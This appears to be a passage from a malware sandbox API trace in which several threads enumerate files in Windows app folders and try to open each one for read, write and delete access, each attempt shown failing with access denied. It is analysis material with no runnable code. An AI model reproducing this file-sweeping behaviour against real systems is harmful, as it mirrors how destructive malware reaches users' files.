	[0090.752] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\fr-FR.PhoneNumber.SMS.ot", dwFileAttributes=0x20) returned 0
	[0090.752] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32a80) returned 1
	[0090.753] FindNextFileW (in: hFindFile=0x46a7010, lpFindFileData=0x4713f50 | out: lpFindFileData=0x4713f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2987d6d4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2987d6d4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2987d6d4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1da, dwReserved0=0x0, dwReserved1=0x0, cFileName="generic.Messaging.config", cAlternateFileName="")) returned 1
	[0090.753] wcscmp (_String1="generic.Messaging.config", _String2=".") returned 1
	[0090.753] wcscmp (_String1="generic.Messaging.config", _String2="..") returned 1
	[0090.753] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e32a80
	[0090.753] wcscpy (in: _Dest=0x4e32a80, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE"
	[0090.753] wcscat (in: _Dest=0x4e32a80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\"
	[0090.753] wcscat (in: _Dest=0x4e32a80, _Source="generic.Messaging.config" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\generic.Messaging.config") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\generic.Messaging.config"
	[0090.753] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\generic.Messaging.config" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\generic.messaging.config")) returned 0x20
	[0090.755] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\generic.Messaging.config", dwFileAttributes=0x20) returned 0
	[0090.755] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\generic.Messaging.config" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\generic.messaging.config"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.755] GetLastError () returned 0x5
	[0090.755] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\generic.Messaging.config", dwFileAttributes=0x20) returned 0
	[0090.755] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32a80) returned 1
	[0090.756] FindNextFileW (in: hFindFile=0x46a7010, lpFindFileData=0x4713f50 | out: lpFindFileData=0x4713f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x298a3932, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x298a3932, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x298a3932, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1da, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT.Messaging.config", cAlternateFileName="")) returned 1
	[0090.756] wcscmp (_String1="it-IT.Messaging.config", _String2=".") returned 1
	[0090.756] wcscmp (_String1="it-IT.Messaging.config", _String2="..") returned 1
	[0090.756] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477eb90
	[0090.756] wcscpy (in: _Dest=0x477eb90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE"
	[0090.756] wcscat (in: _Dest=0x477eb90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\"
	[0090.756] wcscat (in: _Dest=0x477eb90, _Source="it-IT.Messaging.config" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\it-IT.Messaging.config") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\it-IT.Messaging.config"
	[0090.756] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\it-IT.Messaging.config" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\it-it.messaging.config")) returned 0x20
	[0090.759] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\it-IT.Messaging.config", dwFileAttributes=0x20) returned 0
	[0090.759] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\it-IT.Messaging.config" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\it-it.messaging.config"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.759] GetLastError () returned 0x5
	[0090.759] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\it-IT.Messaging.config", dwFileAttributes=0x20) returned 0
	[0090.759] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477eb90) returned 1
	[0090.759] FindNextFileW (in: hFindFile=0x46a7010, lpFindFileData=0x4713f50 | out: lpFindFileData=0x4713f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x298c9b8b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x298f7d18, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x298f7d18, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT.PhoneNumber.SMS.model", cAlternateFileName="")) returned 1
	[0090.759] wcscmp (_String1="it-IT.PhoneNumber.SMS.model", _String2=".") returned 1
	[0090.759] wcscmp (_String1="it-IT.PhoneNumber.SMS.model", _String2="..") returned 1
	[0090.759] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x491d9e8
	[0090.759] wcscpy (in: _Dest=0x491d9e8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE"
	[0090.759] wcscat (in: _Dest=0x491d9e8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\"
	[0090.759] wcscat (in: _Dest=0x491d9e8, _Source="it-IT.PhoneNumber.SMS.model" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\it-IT.PhoneNumber.SMS.model") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\it-IT.PhoneNumber.SMS.model"
	[0090.759] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\it-IT.PhoneNumber.SMS.model" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\tee\\it-it.phonenumber.sms.model")) returned 0x20
	[0090.764] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE\\it-IT.PhoneNumber.SMS.model", dwFileAttributes=0x20) 

Thread:
	id = 938
	os_tid = 0xed8

	[0082.313] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x47cbd78
	[0082.313] wcscpy (in: _Dest=0x47cbd78, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_Resources"
	[0082.313] wcscat (in: _Dest=0x47cbd78, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_Resources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_Resources\\"
	[0082.313] wcscat (in: _Dest=0x47cbd78, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_Resources\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_Resources\\*"
	[0082.313] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47141b8
	[0082.313] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_Resources\\*", lpFindFileData=0x47141b8 | out: lpFindFileData=0x47141b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x289369e5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab9baa69, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x289369e5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7050
	[0082.314] wcscmp (_String1=".", _String2=".") returned 0
	[0082.314] FindNextFileW (in: hFindFile=0x46a7050, lpFindFileData=0x47141b8 | out: lpFindFileData=0x47141b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x289369e5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab9baa69, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x289369e5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.318] wcscmp (_String1="..", _String2=".") returned 1
	[0082.318] wcscmp (_String1="..", _String2="..") returned 0
	[0082.318] FindNextFileW (in: hFindFile=0x46a7050, lpFindFileData=0x47141b8 | out: lpFindFileData=0x47141b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x289369e5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x289369e5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x289369e5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2b59, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.rsrc", cAlternateFileName="")) returned 1
	[0082.318] wcscmp (_String1="0.rsrc", _String2=".") returned 1
	[0082.318] wcscmp (_String1="0.rsrc", _String2="..") returned 1
	[0082.318] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x4718b70
	[0082.318] wcscpy (in: _Dest=0x4718b70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_Resources"
	[0082.318] wcscat (in: _Dest=0x4718b70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_Resources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_Resources\\"
	[0082.318] wcscat (in: _Dest=0x4718b70, _Source="0.rsrc" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc"
	[0090.677] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_resources\\0.rsrc")) returned 0x20
	[0090.680] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc", dwFileAttributes=0x20) returned 0
	[0090.680] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_resources\\0.rsrc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.680] GetLastError () returned 0x5
	[0090.680] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc", dwFileAttributes=0x20) returned 0
	[0090.680] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718b70) returned 1
	[0090.680] FindNextFileW (in: hFindFile=0x46a7050, lpFindFileData=0x47141b8 | out: lpFindFileData=0x47141b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x289369e5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x289369e5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x289369e5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa3, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.txt", cAlternateFileName="")) returned 1
	[0090.680] wcscmp (_String1="index.txt", _String2=".") returned 1
	[0090.680] wcscmp (_String1="index.txt", _String2="..") returned 1
	[0090.680] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x2e12ab8
	[0090.680] wcscpy (in: _Dest=0x2e12ab8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_Resources"
	[0090.680] wcscat (in: _Dest=0x2e12ab8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_Resources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_Resources\\"
	[0090.680] wcscat (in: _Dest=0x2e12ab8, _Source="index.txt" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt"
	[0090.680] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_resources\\index.txt")) returned 0x20
	[0090.695] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt", dwFileAttributes=0x20) returned 0
	[0090.695] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_resources\\index.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.695] GetLastError () returned 0x5
	[0090.695] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt", dwFileAttributes=0x20) returned 0
	[0090.695] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12ab8) returned 1
	[0090.695] FindNextFileW (in: hFindFile=0x46a7050, lpFindFileData=0x47141b8 | out: lpFindFileData=0x47141b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x289369e5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x289369e5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x289369e5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa3, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.txt", cAlternateFileName="")) returned 0
	[0090.695] FindClose (in: hFindFile=0x46a7050 | out: hFindFile=0x46a7050) returned 1
	[0090.695] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47141b8) returned 1
	[0090.695] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cbd78) returned 1
	[0090.695] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4769a28) returned 1

Thread:
	id = 939
	os_tid = 0xa58

	[0082.318] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0082.320] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.322] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.323] GetLastError () returned 0x5
	[0082.323] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.324] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47e9840) returned 1

Thread:
	id = 940
	os_tid = 0x107c

	[0082.325] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x4718c40
	[0082.325] wcscpy (in: _Dest=0x4718c40, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0082.325] wcscat (in: _Dest=0x4718c40, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.325] wcscat (in: _Dest=0x4718c40, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*"
	[0082.325] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4714420
	[0082.325] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x4714420 | out: lpFindFileData=0x4714420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed19195, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab5eb5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7ed19195, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a69d0
	[0082.326] wcscmp (_String1=".", _String2=".") returned 0
	[0082.326] FindNextFileW (in: hFindFile=0x46a69d0, lpFindFileData=0x4714420 | out: lpFindFileData=0x4714420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed19195, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab5eb5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7ed19195, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.326] wcscmp (_String1="..", _String2=".") returned 1
	[0082.326] wcscmp (_String1="..", _String2="..") returned 0
	[0082.326] FindNextFileW (in: hFindFile=0x46a69d0, lpFindFileData=0x4714420 | out: lpFindFileData=0x4714420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ed19195, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7ed19195, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7ed19195, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x406d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 1
	[0082.326] wcscmp (_String1="AppxBundleManifest.xml", _String2=".") returned 1
	[0082.326] wcscmp (_String1="AppxBundleManifest.xml", _String2="..") returned 1
	[0082.326] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x4752450
	[0082.327] wcscpy (in: _Dest=0x4752450, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0082.327] wcscat (in: _Dest=0x4752450, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.327] wcscat (in: _Dest=0x4752450, _Source="AppxBundleManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml"
	[0090.666] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml")) returned 0x20
	[0090.669] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.669] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.669] GetLastError () returned 0x5
	[0090.669] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.669] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4752450) returned 1
